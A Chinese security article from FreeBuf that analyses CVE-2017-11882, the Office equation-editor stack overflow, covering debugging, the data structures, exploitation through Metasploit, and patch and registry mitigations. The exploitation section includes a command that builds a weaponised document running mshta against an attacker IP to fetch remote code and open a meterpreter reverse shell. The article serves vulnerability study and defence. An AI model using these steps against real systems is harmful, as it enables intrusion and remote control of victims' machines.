freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Office系列漏洞之CVE-2017-11882
四维创智4DOGS 2018-09-07 15:02:13 599666

一、漏洞简介

CVE-2017-11882属于缓冲区溢出类型漏洞,产生漏洞原因于EQNEDT32.EXE(微软office自带公式编辑器)进程在读入包含MathType的ole数据时,在拷贝公式字体名称(Font Name数据)时没有对名称长度进行校验,导致缓冲区溢出。通过覆盖函数的返回地址,可执行任意代码。

 2017年11月14日,微软发布了11月份的安全补丁更新,影响流行的所有Office版本。

漏洞基本信息
漏洞ID CVE-2017-11882
漏洞名称 Microsoft Office数学公式编辑器内存损坏漏洞
漏洞类型 远程代码执行
威胁类型 栈溢出
影响版本 Microsoft Office 2000/2003/2007sp3/2010sp2/2013sp1/2016

      二、漏洞测试

系统环境 Win7 32
Microsoft Office 2013 sp1
生成测试漏洞文件 https://github.com/Ridter/CVE-2017-11882

 使用Command_CVE-2017-11882.py脚本生成漏洞文件。

1.jpg

有两种方式,我们先测试第一种弹出计算器。

2.jpg

      三、漏洞定位

由于缓冲区溢出函数处于EQNEDT32进程中,所以对它进行调试分析,打开漏洞文件会弹出计算器,一般采用Winexec函数调用,可对该函数进行下断,然后进行逆推找出溢出点。

 首先把eqnedt32.exe拖进od运行(或打开后进行附加),然后定位WinExec进行下断,打开漏洞文件test.doc,此时断点会停在WinExec函数上。 

3.jpg

由于漏洞利用采用函数覆盖返回地址,那我们可以从栈中找出漏洞函数的上层或上上层函数继续进行分析。

4.jpg

在4115A7函数上下好断点,重新打开漏洞文件,断下后进行步过(F8)分析,在步过第一个call后并没有返回,而是直接弹出了计算器,这就说明漏洞溢出点在这个call里面,也就是把栈中返回地址4115D8进行了覆盖,从而转向shellcode执行。

5.jpg

上图是调用41160F,栈中保存的原始返回地址

6.jpg

在copy字体名字的时候,由于没有校验名称长度,导致缓冲区溢出,从而过长的数据覆盖了该函数的返回地址4115D8。

7.jpg

IDA分析可以看到[ebp+28]就是溢出缓冲区。

8.jpg

[ebp+28]分配的空间是0x24,超过此长度就会产生溢出,从而覆盖返回地址。

在经过溢出点后,原始返回地址4115D8被覆盖成402114。

9.jpg

这里覆盖后的地址是402114,Retn后回转到该地址处执行,

10.jpg

Retn执行后会转向12F350处,存放的就是FONT[name]数据,也就是shellcode。

11.jpg

Shellcode中callWinExec函数弹出calc.exe。

12.jpg

成功弹出计算器。

 四、数据结构分析

 漏洞出现在模块EQNEDT32.EXE中,该模块以OLE技术(Object Linking and Embedding,对象链接与嵌入)将公式嵌入在Office文档内。当插入和编辑数学公式时,EQNEDT32.EXE并不会被作为Office进程(如Word等)的子进程创建,而是以单独的进程形式存在。这就意味着对于word、excel等Office进程的保护机制,无法阻止EQNEDT32.EXE这个进程被利用。漏洞存在于EQNEDT32.EXE处理Office OLE Equation对象中标记为字体名称记录的字节流中,如果Equation对象中存在标记为字体名称的超长字节流,则程序在处理该字符串的过程,会由于判断字符串长度而发生栈溢出漏洞。

 Equation Native数据流= EQNOLEFILEHDR + MTEFData,其中

MTEFData = MTEFheader + MTEF Byte Stream

EQNOLEFILEHDR头结构(共28字节)如下


 struct EQNOLEFILEHDR {

  WORD    cbHdr;      // 格式头长度,固定为0x1C。

  DWORD   version;    // 固定为0x00020000。

  WORD    cf;          // 该公式对象的剪贴板格式。

  DWORD   cbObject;  // MTEF数据的长度,不包括头部。

  DWORD   reserved1; // 未公开

  DWORD   reserved2; // 未公开

  DWORD   reserved3; // 未公开

  DWORD   reserved4; // 未公开

};

对应的数据如下图

 13.jpg

MTEFheader

byte description value
0 MTEF version 3
1 generating platform 0 for Macintosh, 1 for Windows
2 generating product 0 for MathType, 1 for Equation Editor
3 product version 3
4 product subversion 0

MTEFByte Stream

value symbol description
0 END end of MTEF, pile, line, embellishment list, or template
1 LINE line (slot) record
2 CHAR character record
3 TMPL template record
4 PILE pile (vertical stack of lines) record
5 MATRIX matrix record
6 EMBELL character embellishment (e.g. hat, prime) record
7 RULER ruler (tab-stop location) record
8 FONT font name record
9 SIZE general size record
10 FULL full size record
11 SUB subscript size record
12 SUB2 sub-subscript size record
13 SYM symbol size record
14 SUBSYM sub-symbol size record

参考:http://rtf2latex2e.sourceforge.net/MTEF3.html

 数据 8 对应的数据类型为FONT,记录及结构如下:

 struct stuFontRecord {

  BYTE bTag;            // 字体文件的tag位0x08

  BYTE bTypeFace;   // 字体风格

  BYTE bStyle;           // 字体样式

  BYTE bFontName[n] // 字体名称,以NULL为结束符

}; 

字段 说明
Tag 0×08 1字节,固定为0×08
tface typeface number 1字节,Typeface编号
style 1或者2 1字节,1表示斜体,2表示粗体
name Font name (null-terminated) 字体名字,以Null结尾

对应的数据如下图 

14.jpg

 五、RTF结构分析

15.jpg

其中,\objupdate控制字来保证OLE对象的自动更新和加载,从而触发漏洞代码执行。默认状态下Office文档中的OLE Object需要用户双击才能生效。将OLE Object的属性为自动更新,这样无需交互,点击打开文档后OLE Object对象会生效,从而执行恶意代码。 

对漏洞文件ole对象分析

16.jpg

可以看到插入了数学公式ole对象

 查看ole对象的目录结构

17.jpg

可以看到ole对象中包含了EquationNative流

18.jpg

使用olebrowse工具查看Equation Native 流

 六、MSF利用

环境准备

目标机 Win7以及具有该漏洞的office
攻击机 Kali linux
Msf组件 https://github.com/0x09AL/CVE-2017-11882-metasploit

 首先下载组件

把cve_2017_11882.rbcopy到

/usr/share/Metasploit-framework/modules/exploits/windows/smb

19.jpg再Copycve-2017-11882.rtf 到/usr/share/metasploit-framework/data/exploits

20.jpg

启动metasploit

21.jpg

使用search命令查找11882对应模块,用命令use exploit/windows/smb/cve_2017_11882

showoptions查看要设置的参数

22.jpg

设置一个反弹式的meterpreter攻击载荷

设置本机ip以及URI路径

23.jpg

使用命令exploit-j 返回结果会显示出与目标主机的哪个端口建立了连接

24.jpg

生成目标机的漏洞文档,命令如下

PythonCommand109b_CVE-2017-11882.py -c “mshta http://192.168.106.132:8080/test”-o test.doc

这里的为攻击机的ip,端口设置8080以及URI设置test,生成后,在目标机打开该文档。

25.jpg

如果成功,meterpreter会显示返回连接信息,如失败,可能是参数错误或者其它错误

 成功后,使用命令sessions-l 查看你控制的pc

26.jpg

使用命令sessions-i 1 切换进入,输入shell,进入cmd,whoami,OVER。

 七、修复漏洞

 (1)下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882更新补丁进行修补

(2)开启Windows Update功能,定期对系统进行自动更新

 取消该模块的注册

 (1)按下Win+R组合键,打开cmd.exe

 (2)输入以下两条命令:

reg add“HKLM\SOFTWARE\Microsoft\Office\Common\COMCompatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags”/t REG_DWORD /d 0x400

 reg add“HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COMCompatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags”/t REG_DWORD /d 0x400

 参考资料:主要来自freebuf、pediy、csdn等平台

# 漏洞分析
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 四维创智4DOGS 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
四维创智
四维创智4DOGS LV.3
四维创智(北京)科技发展成立于2013年,是国际技术领先的智能网络安全产品和服务提供商。 主营业务涵盖应用安全、系统安全、运维安全等,先后推出自主研发的多款智能化检测产品,并针对行业不同需求,提供不同的行业解决方案及安全检测、渗透测试、风险评估、网络安全培训等服务,与能源(电力)、军工、金融等领域合作,是国家高新企业、专精特新企业,中关村信息安全产业联盟成员单位,国家信息技术安全研究中心联盟单位。
  • 53 文章数
  • 7 关注者
我国互联网遭境外网络攻击:地址多来自美国
2022-03-16
愚人节不 “愚”丨干货分享! TXPortMap实用型免费渗透测试工具
2021-04-01
红队必备:WEB蜜罐识别阻断插件
2020-08-17